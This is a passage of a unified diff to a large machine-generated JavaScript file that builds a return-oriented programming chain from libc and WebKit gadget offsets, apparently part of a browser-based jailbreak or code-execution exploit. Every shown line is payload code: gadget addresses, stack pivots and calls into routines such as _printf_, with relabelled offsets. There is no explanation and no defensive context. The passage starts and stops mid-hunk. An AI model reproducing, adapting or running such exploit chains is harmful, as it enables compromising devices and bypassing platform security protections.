0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+235808, //L3906 +ropchain+234696, //L3871 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3906: +//L3871: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -28839,102 +28664,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+235904, //L3909 +ropchain+234776, //L3873 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3907: -db([4294966264, 4294967295]); // -0x408 -set_gadget(libc_base+792472,); //pop rcx -//L3909: +//L3873: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3874: +db([4294966264, 4294967295]); // -0x408 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+236008, //L3912 +ropchain+234896, //L3878 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+235992, //L3911 +ropchain+234880, //L3876 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3911: +//L3876: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3912: +//L3878: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+236176, //L3915 +ropchain+235064, //L3881 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+236192, //L3916 +ropchain+235080, //L3882 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+236144, //L3913 +ropchain+235048, //L3879 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+236160, //L3914 +ropchain+235032, //L3880 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3913: +//L3880: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3914: +//L3879: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3915: +//L3881: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3916: +//L3882: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+236352, //L3920 +ropchain+235240, //L3886 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+236304, //L3917 +ropchain+235192, //L3884 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+236336, //L3919 +ropchain+235224, //L3885 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3917: +//L3884: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3918: +//L3883: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L3919: +//L3885: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3920: +//L3886: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+236424, //L3921 +ropchain+235312, //L3887 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+236440, //L3922 +ropchain+235328, //L3888 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3921: +//L3887: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3922: +//L3888: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -28945,106 +28770,106 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+236528, //L3923 +ropchain+235416, //L3889 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3923: +//L3889: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+236584, //L3926 +ropchain+235472, //L3891 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3926: +//L3891: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+236720, //L3928 +ropchain+235608, //L3894 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+236736, //L3929 +ropchain+235624, //L3895 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+236704, //L3927 +ropchain+235592, //L3893 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3927: +//L3893: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3928: +//L3894: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3929: +//L3895: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+236904, //L3932 +ropchain+235792, //L3898 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+236920, //L3933 +ropchain+235808, //L3899 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+236872, //L3930 +ropchain+235776, //L3896 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+236888, //L3931 +ropchain+235760, //L3897 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3930: +//L3897: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3931: +//L3896: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3932: +//L3898: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3933: +//L3899: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+236992, //L3934 +ropchain+235880, //L3900 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+237008, //L3935 +ropchain+235896, //L3901 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3934: +//L3900: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3935: +//L3901: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+237104, //L3937 +ropchain+235992, //L3903 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+237088, //L3936 +ropchain+235976, //L3902 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3936: +//L3902: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3937: +//L3903: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -29052,8 +28877,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3939: -ropchain+237208, //L3938 +//L3905: +ropchain+236096, //L3904 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -29061,8 +28886,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+245224, //L3940 -//L3938: +ropchain+244112, //L3906 +//L3904: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -29070,218 +28895,218 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+237344, //L3942 +ropchain+236232, //L3908 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+237360, //L3943 +ropchain+236248, //L3909 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+237328, //L3941 +ropchain+236216, //L3907 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3941: +//L3907: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3942: +//L3908: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3943: +//L3909: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+237464, //L3946 +ropchain+236352, //L3912 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+237512, //L3948 +ropchain+236400, //L3914 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+237496, //L3947 +ropchain+236384, //L3913 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3946: +//L3912: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3945: +//L3911: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3947: +//L3913: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3948: +//L3914: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+237624, //L3949+8 +ropchain+236512, //L3915+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+237616, //L3949 +ropchain+236504, //L3915 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3949: +//L3915: db([0, 0]); // 0x0 set_gadgets([ -ropchain+237640, //L3949+24 -ropchain+238088, //L3944 +ropchain+236528, //L3915+24 +ropchain+236976, //L3910 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+237696, //L3951 +ropchain+236568, //L3916 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L3950: +//L3916: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3951: +set_gadget(libc_base+788575,); //pop rax +//L3917: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3952: +//L3918: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+237880, //L3955 +ropchain+236768, //L3921 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+237896, //L3956 +ropchain+236784, //L3922 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+237848, //L3953 +ropchain+236752, //L3919 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+237864, //L3954 +ropchain+236736, //L3920 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3953: +//L3920: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3954: +//L3919: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3955: +//L3921: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3956: +//L3922: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+237968, //L3957 +ropchain+236856, //L3923 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+237984, //L3958 +ropchain+236872, //L3924 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3957: +//L3923: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3958: +//L3924: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+238080, //L3960 +ropchain+236968, //L3926 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+238064, //L3959 +ropchain+236952, //L3925 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3959: +//L3925: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3960: +//L3926: db([0, 0]); // 0x0 -//L3944: -//L3961: +//L3910: +//L3927: set_gadgets([ libc_base+793877, //pop rsi -ropchain+238144, //L3964 +ropchain+237016, //L3928 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3962: -db([4294966264, 4294967295]); // -0x408 -set_gadget(libc_base+792472,); //pop rcx -//L3964: +//L3928: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3929: +db([4294966264, 4294967295]); // -0x408 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+238248, //L3967 +ropchain+237136, //L3933 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+238232, //L3966 +ropchain+237120, //L3931 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3966: +//L3931: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3967: +//L3933: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+238416, //L3970 +ropchain+237304, //L3936 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+238432, //L3971 +ropchain+237320, //L3937 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+238384, //L3968 +ropchain+237288, //L3934 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+238400, //L3969 +ropchain+237272, //L3935 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3968: +//L3935: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3969: +//L3934: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3970: +//L3936: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3971: +//L3937: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+238528, //L3973 +ropchain+237416, //L3939 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+238512, //L3972 +ropchain+237400, //L3938 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3972: +//L3938: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3973: +//L3939: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -29289,38 +29114,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+238616, //L3975 +ropchain+237504, //L3941 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3974: +//L3940: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L3975: +//L3941: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+238688, //L3978 +ropchain+237560, //L3942 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3976: -db([4294966264, 4294967295]); // -0x408 -set_gadget(libc_base+792472,); //pop rcx -//L3978: +//L3942: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3943: +db([4294966264, 4294967295]); // -0x408 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+238752, //L3979 +ropchain+237640, //L3945 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3979: +//L3945: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -29330,11 +29155,11 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+233656, //L3849 -//L3882: +ropchain+232544, //L3815 +//L3848: libc_base+788575 //pop rax ]); -//L3981: +//L3947: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -29342,8 +29167,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3983: -ropchain+398048, //L3982 +//L3949: +ropchain+397592, //L3948 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -29351,8 +29176,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3985: -ropchain+238968, //L3984 +//L3951: +ropchain+237856, //L3950 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -29360,132 +29185,132 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+243896, //L3986 -//L3984: +ropchain+242784, //L3952 +//L3950: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L3987: +//L3953: libc_base+811575, //pop rsp -ropchain+227408, //L3688 -//L3843: +ropchain+226296, //L3654 +//L3809: libc_base+793877, //pop rsi -ropchain+239072, //L3990 +ropchain+237944, //L3954 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3988: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3990: +//L3954: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3955: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+239176, //L3993 +ropchain+238064, //L3959 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+239160, //L3992 +ropchain+238048, //L3957 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3992: +//L3957: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3993: +//L3959: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+239296, //L3995 +ropchain+238168, //L3960 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+239328, //L3997 +ropchain+238216, //L3963 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+239312, //L3996 +ropchain+238200, //L3962 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3994: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3995: +//L3960: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3961: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi -//L3996: +//L3962: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3997: +//L3963: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+239432, //L4000 +ropchain+238320, //L3966 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+239416, //L3999 +ropchain+238304, //L3964 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3999: +//L3964: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4000: +//L3966: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+239600, //L4003 +ropchain+238488, //L3969 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+239616, //L4004 +ropchain+238504, //L3970 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+239568, //L4001 +ropchain+238472, //L3967 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+239584, //L4002 +ropchain+238456, //L3968 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4001: +//L3968: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4002: +//L3967: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4003: +//L3969: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4004: +//L3970: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+239712, //L4006 +ropchain+238600, //L3972 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+239696, //L4005 +ropchain+238584, //L3971 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4005: +//L3971: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4006: +//L3972: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -29493,8 +29318,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L4008: -ropchain+239816, //L4007 +//L3974: +ropchain+238704, //L3973 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -29502,8 +29327,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+172888, //_get_tclass -//L4007: +ropchain+172424, //_get_tclass +//L3973: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -29518,10 +29343,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L4009: +//L3975: db([65, 0]); // 0x41 set_gadget(libc_base+788575,); //pop rax -//L4010: +//L3976: db([65, 0]); // 0x41 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -29538,8 +29363,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L4012: -ropchain+398072, //L4011 +//L3978: +ropchain+397616, //L3977 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -29547,8 +29372,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L4014: -ropchain+240096, //L4013 +//L3980: +ropchain+238984, //L3979 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -29556,8 +29381,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L4013: +ropchain+159840, //_printf_ +//L3979: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -29566,33 +29391,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+240168, //L4016 +ropchain+239056, //L3981 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4016: +//L3981: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4015: +//L3982: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L4017: +//L3983: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+240296, //L4019 +ropchain+239184, //L3985 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+240280, //L4018 +ropchain+239168, //L3984 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4018: +//L3984: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4019: +//L3985: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -29600,59 +29425,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+240392, //L4022 +ropchain+239264, //L3986 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4020: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4022: +//L3986: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3987: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+240496, //L4025 +ropchain+239384, //L3991 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+240480, //L4024 +ropchain+239368, //L3989 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4024: +//L3989: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4025: +//L3991: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+240584, //L4027 +ropchain+239472, //L3992 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+240600, //L4028 +ropchain+239488, //L3994 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L4027: +//L3992: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4028: +//L3994: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+240656, //L4030 +ropchain+239544, //L3995 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4030: +//L3995: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -29662,190 +29487,190 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L4031: +//L3997: libc_base+793877, //pop rsi -ropchain+240760, //L4034 +ropchain+239632, //L3998 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4032: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4034: +//L3998: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3999: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+240864, //L4037 +ropchain+239752, //L4003 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+240848, //L4036 +ropchain+239736, //L4001 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4036: +//L4001: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4037: +//L4003: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+240984, //L4039 +ropchain+239856, //L4004 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+241016, //L4041 +ropchain+239904, //L4007 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+241000, //L4040 +ropchain+239888, //L4006 webkit_base+7438103, //mov [rsi], 